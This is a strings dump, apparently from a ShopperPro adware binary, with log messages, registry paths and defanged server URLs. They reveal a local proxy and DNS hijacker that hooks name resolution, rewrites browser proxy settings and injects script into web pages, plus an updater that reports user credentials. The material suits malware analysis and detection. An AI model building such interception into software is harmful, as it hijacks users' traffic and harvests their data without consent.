[CMutexLock::Open] ___Error %d, CreateMutex: %s
[CCommandsQueue::SetAsync (%p)] ___Error CreateEvent(), Error: %d
[CCommandsQueue::CCommandsQueue - (%p)] CreateEvent() - Failed, Error: %d
[CAcceleratorEvents::ReportStatistics]
[CAcceleratorEvents::OnReportNoAccelerationReason] %s
[CSaveWatchUrl::Work] Saving Info...
zvl=%s&
%s?e=%s
SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy
[CLspController::SetRedirectFilter] IP: %u.%u.%u.%u, Mask: %u.%u.%u.%u
[CLspController::SetVersionStatus] VesrionStatus = %d
[CLspController::GetVersionStatus] VesrionStatus = %d
[CLspController::UpdateVersionStatus] Status: %d (%d)
[CLspController::UpdateVersionStatus] New Status: %d
[CLspController::IsToAccelerate] Local ---@@@ IP: %u.%u.%u.%u, Port: %u @@@, Protocol: %u ---
[CLspController::IsToAccelerate] Global ---@@@ IP: %u.%u.%u.%u, Port: %u @@@, Protocol: %u ---
[CLspController::IsToAccelerate] Partner ---@@@ IP: %u.%u.%u.%u, Port: %u @@@---
[CLspController::IsToAccelerate] iTunes ---@@@ IP: %u.%u.%u.%u, Port: %u @@@---
[CLspController::IsToAccelerate] returns FALSE - status passthrough
[CLspController::IsToAccelerate] returns FALSE - g_PassThrough exists
[CLspController::IsToAccelerate] IP: %u.%u.%u.%u, Port: %u
[CLspController::StartAccelerationsEvent] ___Error OSSetEvent failed: %d
[CLspController::InitTunnelingState] g_PassThrough[ %s ] = %d
[CLspController::IsPartner] partner = %d
[CLspController::UpdateXMLRulesVersion] Version: %s (%s)
[CLspController::UpdateXMLRulesVersion] New Version: %s
[CLspController::IsIgnored] ---@@@ Port: %u @@@---
Downloader.exe
RecordingManager.exe
WebKit2WebProcess.exe
firefox.exe
iTunes.exe
[CLspController::DoLoad] Hook status %d
VVV.youtube.com
[CLspController::DoLoad] ___Error CSharedMemory Create() Local. LE: %d
[CLspController::SetPassThrough] g_PassThrough[ %s ] = %d
PassThroughState
[CLspController::SetPassThrough] ___Error m_smGlobalAccelerationData is Read-Only
[CLspController::SetPassThrough] ___Error m_smGlobalAccelerationData == NULL
[CLspController::SetPassThrough]
[CLspController::UpdatedPartnerDisableList] PartnerDisableList = %s
[CLspController::CreateSharedMemory] ___Error CSharedMemory CreateCriticalSection: %s. LE: %d
[CLspController::CreateSharedMemory] ___Error CSharedMemory Create: %s. LE: %d
[CLspController::CreateSharedMemory] ___Error CSharedMemory Create() Local. LE: %d
[CLspController::IsDomainExistInRules] Found - Template: %s
[CLspController::IsDomainExistInRules] Domain: %s
[CLspController::AddDnsResponse] Adding IP: %u.%u.%u.%u, Mask: %u.%u.%u.%u, Ports: %u - %u
[CLspController::UpdateRedirectionIps] Adding IP: %u.%u.%u.%u, Mask: %u.%u.%u.%u
[CImpersonate::Impersonate] ImpersonateLoggedOnUser - Error: %d
[CImpersonate::Impersonate] Impersonated: %d
[CImpersonate::Revert] RevertToSelf - Error: %d
[CImpersonate::Revert] Impersonated: %d
[CImpersonate::Cleanup] Impersonated: %d
[CImpersonate::GetUserSID] LookupAccountNameW failed. GetLastError returned: %d
[CImpersonate::GetUserSID] The SID for %s is invalid.
[CImpersonate::GetUserSID] Not Enough Memory: %d
[CImpersonate::SetPrivilege] AdjustTokenPrivileges - Error: %d
[CImpersonate::SetPrivilege] LookupPrivilegeValue - Error: %d
[CImpersonate::OpenCurrentUserDesktop] - The function does not support Windows Vista and Windows 98
[CImpersonate::OpenCurrentUserDesktop] OpenDesktop - Error: %d
[CImpersonate::OpenCurrentUserDesktop] OpenInputDesktop - Error: %d
[CImpersonate::OpenCurrentUserDesktop] SetProcessWindowStation - Error: %d
[CImpersonate::OpenCurrentUserDesktop] OpenWindowStation - Error: %d
[CImpersonate::OpenCurrentUserDesktop] GetProcessWindowStation - Error: %d
[CImpersonate::OpenCurrentUserDesktop] - The function does not support MAC
[CImpersonate::CreateProcessAsCurrentUser] CreateProcessAsUser - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] CreateEnvironmentBlock - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] AddAceToDesktop - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] AddAceToWindowStation - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] GetLogonSID - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] DuplicateTokenEx - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] OpenDesktop - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] SetProcessWindowStation - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] OpenWindowStation - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] GetProcessWindowStation - Error: %d
[CImpersonate::AddAceToWindowStation] SetUserObjectSecurity - Error: %d
[CImpersonate::AddAceToWindowStation] SetSecurityDescriptorDacl - Error: %d
[CImpersonate::AddAceToWindowStation] CopySid - Error: %d
[CImpersonate::AddAceToWindowStation] AddAce - Error: %d
[CImpersonate::AddAceToWindowStation] GetAce - Error: %d
[CImpersonate::AddAceToWindowStation] GetAclInformation - Error: %d
[CImpersonate::AddAceToWindowStation] GetUserObjectSecurity - Error: %d
[CImpersonate::AddAceToDesktop] SetUserObjectSecurity - Error: %d
[CImpersonate::AddAceToDesktop] SetSecurityDescriptorDacl - Error: %d
[CImpersonate::AddAceToDesktop] AddAccessAllowedAce - Error: %d
[CImpersonate::AddAceToDesktop] AddAce - Error: %d
[CImpersonate::AddAceToDesktop] GetAce - Error: %d
[CImpersonate::AddAceToDesktop] GetSecurityDescriptorDacl - Error: %d
[CImpersonate::AddAceToDesktop] GetUserObjectSecurity - Error: %d
[CImpersonate::OpenCurrentUserKey] LoadUserProfile - SUCCESS
[CImpersonate::OpenCurrentUserKey] LoadUserProfile failed - Error: %d
[CImpersonate::GetLogonUserName] GetLogonUserName - Error: %d
[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - Error: %d
[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - SUCCESS
[CImpersonate::OpenCurrentUserKey] Impersonated: %d
[CImpersonate::FindLoggedOnUser] Process32First - Error: %d
[CImpersonate::FindLoggedOnUser] OpenProcess - Error: %d
[CImpersonate::FindLoggedOnUser] OpenProcessToken - Error: %d
[CImpersonate::FindLoggedOnUser] CreateToolhelp32Snapshot failed - Error: %d
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
explorer.exe
[CImpersonate::FindLoggedOnUser] Impersonated: %d
[CImpersonate::GetLogonUserName] Name: %s
[CImpersonate::GetLogonUserName] GetUserName - Error: %d
[CVA_Alert::OnDeserialize] ___Error get m_LandingUrl
[CVA_Alert::OnDeserialize] ___Error get m_URL
user32.dll
WININET.DLL
kernel32.dll
d/d/%d d:d:d::d
[CFullController::IsProxySupported] ___Error Create Proxy Controller
[CFullController::IsProxySupported] Create Proxy Controller...
[CFullController::SetPassThrough]
[CFullController::Init] ___Error to Create IHttpEngineConfiguration
[CFullController::Start] ___Error ProxyRes = %d, LspRes = %d
[CFullController::Stop] ___Error ProxyRes = %d, LspRes = %d
[CProxyController::SetVersionStatus] Status: %d -> %d
[CProxyController::GetVersionStatus] Status: %d
[CProxyController::Init] ___Error to Create IHttpEngineConfiguration
[CProxyController::IsAloud] FALSE - There is a pac file: %s
[HttpProxyServer::CreatePacFile] ___Error: ConfigPath::GetPath. LE: %d
[HttpProxyServer::CreatePacFile] ___Error: WriteRedirectRulesToPacFile. LE: %d
[CDriverManager::IoControl] DeviceIoControl failed: %d
[CDriverController::GetRedirectedConnectionInfo] ___Error GET_CONN %d
[CDriverController::GetRedirectedConnectionInfo] Port %d
[CDriverController::SetRedirectInfo] to port %d
[CDriverController::SetRedirectInfo] ___Error REDIRECT_ALL device %d
[CDriverController::SetRedirectInfo] ___Error SET_PORT device %d
[CDriverController::SetRedirectInfo] ___Error INTERFACE_VERSION mismatch R0 %d R3 %d
[CDriverController::SetRedirectInfo] ___Error INTERFACE_VERSION device %d
[CDriverController::SetRedirectInfo] ___Error open device %d
\\.\svd
HttpHandleAll
HttpWorkerBufferLimit
HttpListenPort
HttpListenIP
RtmpListenPort
[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - Wait: %d
[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - ProcessCommand: %d
[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - Wait: %d
[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - ProcessCommand: %d
[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - Wait: %d
[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - ProcessCommand: %d
[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - Wait: %d
[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - ProcessCommand: %d
[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - Wait: %d
[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - ProcessCommand: %d
SOFTWARE\ShopperPro\JsDriver\%s\Original
SOFTWARE\ShopperPro\JsDriver\%s\Current
[CDnsProxyServer::is_in_redirection_rules] Found redirection Rule: %s
[CDnsProxyServer::load_dns_clients] IP: %s
[CDnsProxyServer::get_dns_servers] Dns Servers count: %d
[CDnsProxyServer::get_dns_servers] Dns Server: %s
[CDnsProxyServer::get_dns_servers] ___Error RegEnumKeyEx. LE: %d, Name: %s
[CDnsProxyServer::get_dns_servers] DhcpNameServer: %s
[CDnsProxyServer::get_dns_servers] NameServer: %s
[CDnsProxyServer::get_dns_servers] ___Error RegOpenKeyEx. LE: %d, Name: %s
[CDnsProxyServer::get_dns_servers] ___Error RegQueryInfoKey. LE: %d
[CDnsProxyServer::get_dns_servers] ___Error key: %s
SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces
[CDnsProxyServer::Start] ___Error CAsyncUdpSocketServer<CDnsProxyServer>::Start. LE: %d
[CDnsProxyServer::Start] Local IP: %d.%d.%d.%d
[CDnsProxyServer::Start] ___Error SafeGetHostByName. LE: %d, Host: %s
[CDnsProxyServer::Start] Host name: %s
[CDnsProxyServer::Start] ___Error gethostname. LE: %d
[CDnsProxyServer::dns_reverse_lookup] Name: %s
[CDnsProxyServer::dns_reverse_lookup] IP: %s
[CDnsProxyServer::add_dns_client] IP: %s
%u.%u.%u.%u
[CDnsProxyServer::is_dns_client] IP: %s
[CDnsProxyServer::save_dns_clients] IP: %s
[CDnsProxyServer::dns_send_reply] @@@ Found IP: %s @@@
[CDnsProxyServer::dns_send_reply] Domain: %s
[CDnsProxyServer::OnRecv] ___Error %x - SendTo timeout to the original dns server
[CDnsProxyServer::OnRecv] ___Error %x - Select timeout from the original dns server
[CDnsProxyServer::OnRecv] ___Error %x - RecvFrom timeout from the original dns server
[CDnsProxyServer::OnRecv] ___Error %x - SendTo the client the response from the original server
[CDnsProxyServer::OnRecv] ___Error Got from the original dns server a packet with invalid size of %d
[CDnsProxyServer::OnRecv] ___Error %x - Open new socket to forward dns query
[CDnsProxyServer::OnRecv] unsupported opcode: %d
[CDnsProxyServer::OnRecv] DNS query: %s
[CDnsProxyServer::OnRecv] DNS query from client Host: %s, Port: %d
[CDnsProxyServer::OnRecv] Got packet with invalid size of %d
StartPortRange
EndPortRange
</URL>
<URL>
CAcceleratedEventsThread::OnReportNoAccelerationReason
0.0.0.0
%s%lld%s
%s%d%s
<EMBED><URL>
[CAcceleratedEventsThread::ReportEmbedStreaming]
[CAcceleratedEventsThread::ReportStatistics]___Error empty param : URL Acc Url = %s, Normal URL = %s
[CAcceleratedEventsThread::ReportStatistics] %s
[CAcceleratedEventsThread::ReportStatistics]___Error encode Acc URL = %s
%s%s%s
[CAcceleratedEventsThread::ReportStatistics]___Error encode Normal URL = %s
[CAcceleratedEventsThread::ReportVideoID] XML = %s
<WATCH><URL>%s</URL></WATCH>
[CAcceleratedEventsThread::ReportVideoID] URL = %s
YOUTUBE.COM/GET_VIDEO?VIDEO_ID=
[CAcceleratedEventsThread::ReportFailureReason] %s
[CAcceleratedEventsThread::ReportStatistics]___Error encode URL = %s
[CAcceleratedEventsThread::ReportFailureReason]___Error empty param : URL Acc Url = %s, AccFailureReason = %s
[CAcceleratedEventsThread::OnReportStatistics]
[CAcceleratedEventsThread::ReportAccelerations]
[CAcceleratedEventsThread] - Start the Pipe Clients to the Engine & UI
[CAcceleratedEventsThread::ProcessEvent] ___Warning: Unsupported event (%d)
DestroyPipeEventThreadManager
CreatePipeEventThreadManager
[CDNSResponse::AnalyzeResponse] Found IP: %u.%u.%u.%u
[Mine_GetAddrInfoW] nodename: %S
[Mine_GetAddrInfoExA] pName: %s
[Mine_GetAddrInfoExW] pName: %S
[Mine_getaddrinfo] nodename: %s
[CDNSInterceptor::Detour] GetAddrInfoExW - %d
[CDNSInterceptor::Detour] GetAddrInfoExA - %d
[CDNSInterceptor::Detour] GetAddrInfoW - %d
[CDNSInterceptor::Detour] getaddrinfo - %d
[CDNSInterceptor::Detour] gethostbyname - %d
[CDNSInterceptor::Detour] ___Error LoadLibrary ws2_32.dll
ws2_32.dll
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] SetSecurityDescriptorDacl failed. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeSecurityDescriptor failed. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the trusted owner. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the Everyone group. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the queue owner. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeAcl failed. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetLogonSID failed. Error code: 0x%X
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AllocateAndInitializeSid failed. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetTokenInformation failed. GetLastError returned: %d
[CSerializable::GetField] ___Error - Vector size missmatch. Code: %d
[CIEInternetProxySettings::RetriveProxyConfiguration - Exit] list.pOptions == NULL
[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d
[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d
[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption() - Failed: %d
[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %d
[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %d
[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %s
[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %s
[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: NULL
[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d
[CIEInternetProxySettings::Refresh] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d
[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption() - Failed: %d
[CIEInternetProxySettings::SetProxyConfigScript] list.pOptions == NULL
[CIEInternetProxySettings::GetCurrentUserKey] User Key: %p
[CIEInternetProxySettings::GetCurrentUserKey] ___Error spIImpersonateThread == NULL
[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d
http=
[CIEInternetProxySettings::Save] %s - %s = %s
ListenPort
[EngineConfiguration::GetCurrentUserKey] User Key: %X
[EngineConfiguration::GetCurrentUserKey] ___Error spIImpersonateThread == NULL
HttpRedirectProxyPort
HttpRedirectProxyDomain
[CAcceleratorEventsData::OnDeserialize] ___Error get URL
[GZipWrapper::InflateGzipData] ___Error ReadString : %s
[GZipWrapper::InflateGzipData] ___Error Open file : %s
[GZipWrapper::InflateGzipData] ___Error WriteDataToFile : %s
GZipWrapper_%d.tmp
C:\ProgramData\tmp\
http_port
prefs.js
user.js
user_pref("network.proxy.
autoconfig_url
[CAsyncUpdate::DownloadProgress] Downloaded: %d, Total: %d
[CAsyncUpdate::StartUpdate] Download URL: %s
[CAsyncUpdate::StartUpdate] ___Error Sennd Update Command: %s
[CAsyncUpdate::StartUpdate] Update Page: %s
va_conf.dat
[CAsyncUpdate::DownloadComplete] ___Error Send Update Command: %s
[CAsyncUpdate::DownloadComplete] Result: %d, File: %s
1.0.0.0
Temp.dll
[CAsyncUpdate::AnalizeXMLResults] ___Error Trial DAT file: %s
[CAsyncUpdate::AnalizeXMLResults] Trial.dat saved to: %s
Trial.dat
RESULT.VA_TRIAL.CONFIG.DATA
Temp.zip
RESULT.VA_RES.RESOURCES.DOWNLOAD_URL
RESULT.VA_RES.RESOURCES.VERSION
RESULT.BLACKLIST.DATA
RESULT.SENDLOGRULE
RESULT.VA.CONFIG.SOCIAL_NETWORKS.TWITTER_VIDEO_STRING
RESULT.VA.CONFIG.SOCIAL_NETWORKS.TWITTER_FRAME_STRING
RESULT.ADS.SHOW
[CAsyncUpdate::AnalizeXMLResults] ___Error updating Rules DAT file: %s
[CAsyncUpdate::AnalizeXMLResults] Rules saved to: %s
RESULT.VA.CONFIG.SITES.ZIP
RESULT.VA.CONFIG.SITES.XMLVERSION
RESULT.VA.CONFIG.SITES.DATA
[CAsyncUpdate::UpdateSearchComplete] version status = %d
[CAsyncUpdate::UpdateSearchComplete] Result: %d, UpdateExist: %d
[CSANotifierMgr::UpdateResourceDll] ___Error: Removing %s. Err = %d
[CSANotifierMgr::UpdateResourceDll] ___Error: Renaming %s to %s. Err = %d
Old.dll
[DownloadMHTsStatus::DownloadComplete] ___Error: Renaming %s to %s. Err = %d
[CExecuteUpdate::OnDeserialize] ___Error get m_ShowCmd
[CExecuteUpdate::OnDeserialize] ___Error get m_Directory
[CExecuteUpdate::OnDeserialize] ___Error get m_Parameters
[CExecuteUpdate::OnDeserialize] ___Error get m_Operation
[CExecuteUpdate::OnDeserialize] ___Error get m_File
[CCoreConfig::InitConfig] Product Name %s UseRegistry %d
LastNum%d
LastID%d
1.1.4
%d/%d/%d %d:%d:%d
%s.PARAM
%s.ID
.CONDITIONS.CONDITION[%d]
.LANDING_URL
.ICON
.TOOLTIP
.NOTIFICATION_TYPE
.VALIDATE
.EXPIRATION_HOURS
.EXPIRATION_TIME
.NUM_OF_ICONS
.ANIMATION_TIME
.DISPLAY_TIME
.TYPE
.NUMBER
RESULT.LAMP
RESULT.ALERT
[Core::ShouldUpdate] %s
RESULT.LICENSE.EXPIRATION
RESULT.LICENSE.STATUS
RESULT.LASTERROR
[Core::RequestURL] Filename = %s, URL = %s
RESULT.USER.DAUI
RESULT.ANON.PW
RESULT.ANON.ID
RESULT.USER.PW
RESULT.USER.ID
[Core::AnalyzeXMLResult] Filename = %s
RESULT.STATS.COLLECT
RESULT.DISABLED_PARTNERS
RESULT.UPDATE.PAGE_URL
RESULT.UPDATE.DOWNLOAD_FILENAME
RESULT.UPDATE.DOWNLOAD_URL
RESULT.UPDATE.VERSION
RESULT.UPDATE.EXIST
Core.log
ddd
ddd
2.0.0.0
%DOMAIN%
%s=%s
&OldUserID=%s&OldPassword=%s
%s?%s
hXXp://online.%DOMAIN%.com/online/updateSBPID.aspx
CV=[core-version]&ProductID=[sb-pid]&UserID=[sb-uid]&Password=[sb-upw]&OS=[sb-os]
Password
[Core::SendInfo] Filename = %s, URL = %s
hXXp://online.%DOMAIN%.com/online/Report.aspx
[Core::HitStats] URL = %s
hXXp://pix.%DOMAIN%.com
[Core::BuildUpdateURL] URL = %s
&ElapsedTime=%d
[Core::BuildUpdateURL] ___ALERT___ Alert Info = %s
&DAUI=%s
&ActivationCode=%s&ActivationEmail=%s
%s?%s&V=[sb-ve]&VS=[sb-vs]&Beta=[sb-beta]&Aff=[sb-aff]&BundleID=[sb-bundle]&BrandID=[sb-brand]&PartnerList=[sb-partners]
[Core::CheckForUpdates] RequestURL FAILED
[Core::CheckForUpdates] RequestURL SUCCEEDED
[Core::CheckForUpdates] URL = %s
hXXp://online.%DOMAIN%.com/online/update.aspx
[Core::PerformAsyncUpdateCheck] URL = %s
&SBPIDS=%d
[Core::FindRegistrationInfoByKey] VA Product Found
[Core::FindRegistrationInfoByKey] DAP Product Found
[Core::FindRegistrationInfoByKey] Password is %s
[Core::FindRegistrationInfoByKey] SBPID is %s
[Core::FindRegistrationInfoByKey] Product is %s
[Core::FindRegistrationInfoByKey]
[Core::FindRegistrationInfo] ___Error open key %s
[Core::FindRegistrationInfo] - FindRegistrationInfoByKey from %s
[Core::FindRegistrationInfo] - CurrentUSDKey is %s
[Core::FindRegistrationInfo] - Enum HKEY_CURRENT_USER\%s
[Core::FindRegistrationInfo] - FindRegistrationInfoByKey from product key
[Core::RegisterProduct] RequestURL Fauled err = %d
[Core::RegisterProduct] RequestURL Succeeded
[Core::RegisterProduct] URL = %s
&LastResponse=%s
&TF=%s
&Retry=%d&LE=%d
hXXp://online.%DOMAIN%.com/online/Register.aspx
[Core::GenerateAnonymousID] URL = %s
hXXp://online.%DOMAIN%.com/online/RegisterAnon.aspx
[Core::PingServer] URL = %s
hXXp://online.%DOMAIN%.com/online/ka.aspx
InternetReadFile failed: %d
WriteFile failed: %d
Create output file failed: %d
QueryStatus not OK: %d
HttpQueryInfo failed: %d
InternetOpenUrl failed: %d
InternetOpen failed: %d
Content-Disposition: form-data; name="%s"
XXX
--%s--
Content-Type:multipart/form-data;boundary=%s
WaitingPost.xml
%%X
<?xml version="1.0" encoding="%s"?>
-%c%c%c%c%c%c%c%c%c%c
deflate 1.1.4 Copyright 1995-2002 Jean-loup Gailly
inflate 1.1.4 Copyright 1995-2002 Mark Adler
()$^.* ?[]|\-{},:=!
safari.exe
opera.exe
itunes.exe
iexplore.exe
chrome.exe
(build %d)
Windows 2000
Windows XP
Web Edition
Windows Server 2003,
Windows XP Professional x64 Edition
Windows Home Server
Windows Storage Server 2003
Windows Server 2003 R2,
Web Server Edition
Windows Server 2008 R2
Windows 8
Windows 7
Windows Server 2008
Windows Vista
[ProxyExtensionInj::WriteToLocalCacheWriter] FDM=%d (%d),Req:%d - Written %d/%d bytes
[ProxyExtensionInj::WriteToLocalCacheWriter] FDM=%d (%d),Req:%d ___Error invalid JobInfo
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\locale
[ProxyExtensionInj::OnHeader] FDM=%d (%d),Req:%d - html file size unknown - ignore this request (Response)
[ProxyExtensionInj::OnHeader] FDM=%d (%d),Req:%d - Try to Inject script... (Response)
[Inject OnHeader] URL %s, type %s, length %s, trans.encoding %s, cont.encoding %s
hXXp://repjs.shopper-pro.com/app/ping.ashx?product=ShopperProJs&action=%s&it=%d&os=%s&Rnd=%d&v=%s&usid=%s&aff=JS%s&pixguid=%s&text=%s
ProxyExtensionInj: can't open database1_0_0.json
database1_0_0.json
ProxyExtensionInj: can't open Config.json
Config.json
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - Total written %d bytes
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - injected %d bytes
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error writing new header
[ProxyExtensionInj::OnHeader] FDM=%d -
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error NewHttpParser ParseHeader
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error NewHttpParser Initialize
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error BuildHeader
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error invalid IHttpFileDownloadMgr
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error invalid IHttpProxyServer
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error invalid JobInfo
%%SID%%
%%USERID%%
%%SPARAM%%
%%SPARAMDATE%%
%%SPARAMPROD%%
%%SPARAMSUB%%
%%COUNTRY%%
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - /HEAD position was found: %d
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error /HEAD position was not found
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error uncompress: %d
[ProxyExtensionInj::InjectScriptToWatchPage] Crash fix FDM=%d (%d),Req:%d
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - Parsing Watch page file for Script injection
[InjHttpProxyServer]
[InjHttpProxyLocal::InjHttpProxyLocal] FDM=%d (%d)
[InjHttpProxyLocal::~InjHttpProxyLocal] FDM=%d (%d)
[InjHttpProxyLocal::PutChunk] FDM=%d (%d): After writing %d bytes into upper level
[InjHttpProxyLocal::PutChunk] FDM=%d (%d): Going to write the %d bytes into the upper level
[InjHttpProxyLocal::PutChunk] FDM=%d (%d): Read %d bytes from socket %d
[InjHttpProxyLocal::PutChunk] FDM=%d (%d): Reading from socket %d
[InjHttpProxyLocal::PutChunk] FDM=%d (%d),Req:%d ___Error: the socket object is null.
[InjHttpProxyServer::AcceptConnection] ___Error to initialize Worker: %d.
[InjHttpProxyServer::AcceptConnection] Going to initialize Worker: %d.
[InjHttpProxyServer::AcceptConnection] ___Error: There is not enough memory to allocate HttpProxyLocal.
[InjFileDownloadMgr] FDM=%d
[InjHttpProxyRemote::InjHttpProxyRemote] FDM=%d (%d),Req:%d
[InjHttpProxyRemote::ConnectToDomain] FAILED FDM=%d (%d),Req:%d
[InjHttpProxyRemote::~InjHttpProxyRemote] FDM=%d (%d),Req:%d
[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Request was written to Local
[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Going to write request to Local
[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Read %d bytes from socket %d
[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Reading from socket %d
[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d ___Error: the Job object is null.
[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d ___Error: the socket object is null.
[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d ___Error: the current download state is %s.
[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Wrote %d/%d bytes to Socket %d.
[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error writing the request.
[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Going to write %d bytes to socket %d.
[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is null.
InjHttpProxyRemote::WriteCachedBufferToSocket
[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.
[InjFileDownloadMgr::CreateWorker] FDM=%d (%d) was created.
[InjFileDownloadMgr::CreateWorker] FDM=%d (%d) ___Error Initializing the worker.
pHttpProxyWorker
[InjHttpProxyServer::GetFileDownloadManager] FDM=%d for Worker: %d, IP: %s, Port: %d, was found.
[InjHttpProxyServer::GetFileDownloadManager] ___Error inserting FDM=%d to the map.
[InjHttpProxyServer::GetFileDownloadManager] ___Error initializing FDM=%d.
[InjHttpProxyServer::GetFileDownloadManager] The FDM=%d for Worker:%d, IP: %s, Port: %d, was created.
HttpProxyServer::GetDownloader
[InjHttpProxyServer::GetFileDownloadManager] FDM not found - Creating a new one. (Worker: %d, IP: %s, Port: %d)
[InjHttpProxyServer::GetFileDownloadManager] Getting the FDM for Worker: %d, IP: %s, Port: %d.
[InjHttpProxyServer::OnHeader] FDM=%d,Req:%d ___Error: The request was not added. (IP:%s, port:%d).
[InjHttpProxyServer::OnHeader] FDM=%d - Adding Req:%d (IP:%s, port:%d).
HttpProxyServer::OnHeader
[ProxyServer::StopAcceleration] Proxy type: %d
[ProxyServer::Stop] Proxy type: %d - Done
[ProxyServer::Stop] - delete HttpCookieJar
[ProxyServer::Stop] - GENERAL HTTP proxy - Stopped !
[ProxyServer::Stop] - GENERAL HTTP proxy - Stopping...
[ProxyServer::Stop] - HTTP proxy - Stopped !
[ProxyServer::Stop] - HTTP proxy - Stopping...
[ProxyServer::Stop] Proxy type: %d
[ProxyServer::CreateHttpProxyServer] *** HTTP Proxy Server - Created and Started ***
[ProxyServer::CreateHttpProxyServer] ___Error: IHttpProxyServer::Start.
[ProxyServer::CreateHttpProxyServer] HTTP Proxy Server - already started
[ProxyServer::CreateHttpProxyServer] ___Error: IHttpProxyServer::Initialize.
m_pIHttpProxyServer
[ProxyServer::CreateHttpProxyServer] ___Error: IHttpProxyServer::CreateInstance.
[ProxyServer::CreateHttpProxyServer] ___Error allocate HttpCookieJar.
[ProxyServer::CreateHttpProxyServer] HTTP Proxy Server - already created
ProxyServer::CreateHttpProxyServer
[ProxyServer::Start] Proxy type: %d - Done.
[ProxyServer::Start] *** HTTP proxy was started ***
[ProxyServer::Start] ___Error stating the HTTP proxy.
[ProxyServer::Start] ___Error Proxy type not supported. (Requested: %d).
[ProxyServer::Start] Proxy type: %d
[ProxyServer::AcceptConnection] *** Handover to HTTP ***
[AccelerationConfiguration::OnError] XML parse failed: %s
[CAccelerationStats::Write] Written: %d, Total: %lld, Bps: %d
